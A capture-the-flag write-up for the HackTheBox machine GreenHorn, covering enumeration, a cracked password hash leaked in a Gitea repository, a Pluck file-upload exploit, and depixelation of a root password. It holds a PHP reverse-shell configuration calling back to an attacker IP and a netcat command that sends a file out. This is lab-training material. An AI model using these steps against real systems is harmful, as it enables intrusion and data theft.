Post

HackTheBox GreenHorn

Writeup for HackTheBox GreenHorn

HackTheBox GreenHorn

Machine Synopsis

GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
❯ nmap -p- --min-rate 10000 10.10.11.25

PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3000/tcp open  ppp

❯ nmap -p 22,80,3000 -sC -sV 10.10.11.25

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
|_  256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://greenhorn.htb/
3000/tcp open  http    Golang net/http server
|_http-title: GreenHorn
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=a00c33310d2e2309; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=xnqKvYagU5GV3SaFEwuIira2jqw6MTc0MDI4NTQ5NTYwOTY0MDMzNw; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 04:38:15 GMT
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-auto">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>GreenHorn</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR3JlZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJzaXplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=38733d4a5da2e94e; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=XR8OynIx0CwW5PdIPDzXIjr-vuM6MTc0MDI4NTQ5NTg1NTk0MzAwMg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     Date: Sun, 23 Feb 2025 04:38:15 GMT
|_    Content-Length: 0
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=2/23%Time=67BAAA2F%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20t
SF:ext/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x
SF:20Request")%r(GetRequest,37DB,"HTTP/1\.0\x20200\x20OK\r\nCache-Control:
SF:\x20max-age=0,\x20private,\x20must-revalidate,\x20no-transform\r\nConte
SF:nt-Type:\x20text/html;\x20charset=utf-8\r\nSet-Cookie:\x20i_like_gitea=
SF:a00c33310d2e2309;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-Cookie
SF::\x20_csrf=xnqKvYagU5GV3SaFEwuIira2jqw6MTc0MDI4NTQ5NTYwOTY0MDMzNw;\x20P
SF:ath=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-Option
SF:s:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2004:38:15\x20G
SF:MT\r\n\r\n<!DOCTYPE\x20html>\n<html\x20lang=\"en-US\"\x20class=\"theme-
SF:auto\">\n<head>\n\t<meta\x20name=\"viewport\"\x20content=\"width=device
SF:-width,\x20initial-scale=1\">\n\t<title>GreenHorn</title>\n\t<link\x20r
SF:el=\"manifest\"\x20href=\"data:application/json;base64,eyJuYW1lIjoiR3Jl
SF:ZW5Ib3JuIiwic2hvcnRfbmFtZSI6IkdyZWVuSG9ybiIsInN0YXJ0X3VybCI6Imh0dHA6Ly9
SF:ncmVlbmhvcm4uaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm
SF:4uaHRiOjMwMDAvYXNzZXRzL2ltZy9sb2dvLnBuZyIsInR5cGUiOiJpbWFnZS9wbmciLCJza
SF:XplcyI6IjUxMng1MTIifSx7InNyYyI6Imh0dHA6Ly9ncmVlbmhvcm4uaHRiOjMwMDAvYX")
SF:%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(HTTPOptions,197,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowe
SF:d\r\nAllow:\x20HEAD\r\nAllow:\x20GET\r\nCache-Control:\x20max-age=0,\x2
SF:0private,\x20must-revalidate,\x20no-transform\r\nSet-Cookie:\x20i_like_
SF:gitea=38733d4a5da2e94e;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nSet-
SF:Cookie:\x20_csrf=XR8OynIx0CwW5PdIPDzXIjr-vuM6MTc0MDI4NTQ5NTg1NTk0MzAwMg
SF:;\x20Path=/;\x20Max-Age=86400;\x20HttpOnly;\x20SameSite=Lax\r\nX-Frame-
SF:Options:\x20SAMEORIGIN\r\nDate:\x20Sun,\x2023\x20Feb\x202025\x2004:38:1
SF:5\x20GMT\r\nContent-Length:\x200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\
SF:x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf
SF:-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets add the domain to the /etc/hosts file.

1
echo -e '10.10.11.25\tgreenhorn.htb' | sudo tee -a /etc/hosts

Lets check out the webpage on port 80.

port80_webpage

It looks like some default webpage. Clicking on admin hyperlink brings us to a login page.

port80_login_page

Searching for pluck 4.7.18 vulnerabilities shows a known exploit CVE-2023-50564, which is an arbitrary file upload vulnerability.

Lets check out the webpage on port 3000 instead.

port3000_webpage

It looks like a Gitea webpage. Lets check for any hidden directories!

1
2
3
4
5
6
7
8
❯ gobuster dir -u http://greenhorn.htb:3000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt
...
/admin                (Status: 303) [Size: 38] [--> /user/login]
/v2                   (Status: 401) [Size: 50]
/issues               (Status: 303) [Size: 38] [--> /user/login]
/explore              (Status: 303) [Size: 41] [--> /explore/repos]
/notifications        (Status: 303) [Size: 38] [--> /user/login]
/milestones           (Status: 303) [Size: 38] [--> /user/login]

It seems like /explore endpoint redirects us to /explore/repos.

port3000_explore

port3000_repo

In login.php source code, there are some interesting lines of code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
//If pluck is installed:
else {
	require_once 'data/settings/pass.php';

	//Check if we're already logged in. First, get the token.
	require_once 'data/settings/token.php';

	if (isset($_SESSION[$token]) && ($_SESSION[$token] == 'pluck_loggedin')) {
		header('Location: admin.php');
		exit;
	}

	//Include header-file.
	$titelkop = $lang['login']['title'];
	include_once 'data/inc/header2.php';

	//If password has been sent, and the bogus input is empty, MD5-encrypt password.
	if (isset($_POST['submit']) && empty($_POST['bogus'])) {
		$pass = hash('sha512', $cont1);
		
        ...
		
        //If password is correct, save session-cookie.
		if (($pass == $ww) && (!isset($login_error))) {
			$_SESSION[$token] = 'pluck_loggedin';
...

We can observe that the file imports a file from /data/pass.php, and is comparing the $pass variable with a value stored in $ww.

Checking /data/pass.php, we find the $ww variable.

1
2
3
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>

Exploitation

Cracking the hash on CrackStation reveals the password of iloveyou1.

With this password, we are able to login to the dashboard on port 80.

port80_login_dashboard

Navigating around the website, we found a page to manage modules.

port80_manage_modules

We also found a function to install modules.

port80_install_modules

According to CVE-2023-50564, the vulnerability allows attackers to execute arbitrary code via uploading a crafted zip file.

Lets try to do this by grabbing a php reverse shell from pentestmonkey.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
cat reverse.php
<?php
...
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.9';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
...
?>

❯ zip reverse.zip reverse.php
  adding: reverse.php (deflated 59%)

Now we can start a nc listener, upload the zip file and wait for the file to be executed on the server.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯ nc -nlvp 1234
listening on [any] 1234 ...
connect to [10.10.16.9] from (UNKNOWN) [10.10.11.25] 45844
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 08:41:50 up  4:05,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
$ script /dev/null -c /bin/bash
Script started, output log file is '/dev/null'.
www-data@greenhorn:/$ cd home
www-data@greenhorn:/home$ ls
git  junior
www-data@greenhorn:/home$ ls junior
'Using OpenVAS.pdf'   user.txt
www-data@greenhorn:/home$ cat junior/user.txt
cat: junior/user.txt: Permission denied

It looks like we can’t read user.txt as the current user. Lets try to change user to junior using the password we found earlier.

1
2
3
4
5
www-data@greenhorn:/home$ su junior
Password: iloveyou1

junior@greenhorn:/home$ cat junior/user.txt
3bf8824a45112d75914dae530a440228

Privilege Escalation

Now that we are junior, we can also transfer the interesting pdf file that was in the home directory.

1
❯ nc -nlvp 8888 > 'Using OpenVAS.pdf'
1
junior@greenhorn:~$ cat 'Using OpenVAS.pdf' | nc 10.10.16.9 8888

Lets open the pdf file to read it.

openvas_pdf

Searching for depixelate pdf github on Google resulted in this GitHub repository. However, this tool is to recover plaintexts from pixelized screenshots or images. Therefore, we will have to grab the image from the report before using this tool.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
❯ pdfimages
pdfimages version 25.01.0
Copyright 2005-2025 The Poppler Developers - http://poppler.freedesktop.org
Copyright 1996-2011, 2022 Glyph & Cog, LLC
Usage: pdfimages [options] <PDF-file> <image-root>
  -f <int>                 : first page to convert
  -l <int>                 : last page to convert
  -png                     : change the default output format to PNG
  -tiff                    : change the default output format to TIFF
  -j                       : write JPEG images as JPEG files
  -jp2                     : write JPEG2000 images as JP2 files
  -jbig2                   : write JBIG2 images as JBIG2 files
  -ccitt                   : write CCITT images as CCITT files
  -all                     : equivalent to -png -tiff -j -jp2 -jbig2 -ccitt
  -list                    : print list of images instead of saving
  -opw <string>            : owner password (for encrypted files)
  -upw <string>            : user password (for encrypted files)
  -p                       : include page numbers in output file names
  -print-filenames         : print image filenames to stdout
  -q                       : don't print any messages or errors
  -v                       : print copyright and version info
  -h                       : print usage information
  -help                    : print usage information
  --help                   : print usage information
  -?                       : print usage information

❯ pdfimages -png Using\ OpenVAS.pdf pixel
❯ ls
 Depixelization_poc  'Using OpenVAS.pdf'   pixel-000.png   reverse.php   reverse.zip
❯ file pixel-000.png
pixel-000.png: PNG image data, 420 x 15, 8-bit/color RGB, non-interlaced

Here is the image extracted from the pdf file.

pixel-000

Now we can try to depixelize it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ git clone https://github.com/spipm/Depixelization_poc
❯ cd Depixelization_poc
❯ python3 depix.py -p ../pixel-000.png -s images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-02-23 17:19:37,058 - Loading pixelated image from ../pixel-000.png
2025-02-23 17:19:37,067 - Loading search image from images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png
2025-02-23 17:19:37,675 - Finding color rectangles from pixelated space
2025-02-23 17:19:37,676 - Found 252 same color rectangles
2025-02-23 17:19:37,676 - 190 rectangles left after moot filter
2025-02-23 17:19:37,676 - Found 1 different rectangle sizes
2025-02-23 17:19:37,676 - Finding matches in search image
2025-02-23 17:19:37,676 - Scanning 190 blocks with size (5, 5)
2025-02-23 17:19:37,689 - Scanning in searchImage: 0/1674
2025-02-23 17:20:00,783 - Removing blocks with no matches
2025-02-23 17:20:00,784 - Splitting single matches and multiple matches
2025-02-23 17:20:00,786 - [16 straight matches | 174 multiple matches]
2025-02-23 17:20:00,786 - Trying geometrical matches on single-match squares
2025-02-23 17:20:00,937 - [29 straight matches | 161 multiple matches]
2025-02-23 17:20:00,937 - Trying another pass on geometrical matches
2025-02-23 17:20:01,075 - [41 straight matches | 149 multiple matches]
2025-02-23 17:20:01,075 - Writing single match results to output
2025-02-23 17:20:01,076 - Writing average results for multiple matches to output
2025-02-23 17:20:02,383 - Saving output image to: output.png

Here is the output picture.

output

It seems like the password recovered is sidefromsidetheothersidesidefromsidetheotherside.

Lets try to escalate our user to root.

1
2
3
4
5
junior@greenhorn:~$ su root
Password: sidefromsidetheothersidesidefromsidetheotherside

root@greenhorn:/home/junior# cat /root/root.txt
82d1cac42d9242eb8c094837d0485799
This post is licensed under CC BY 4.0 by the author.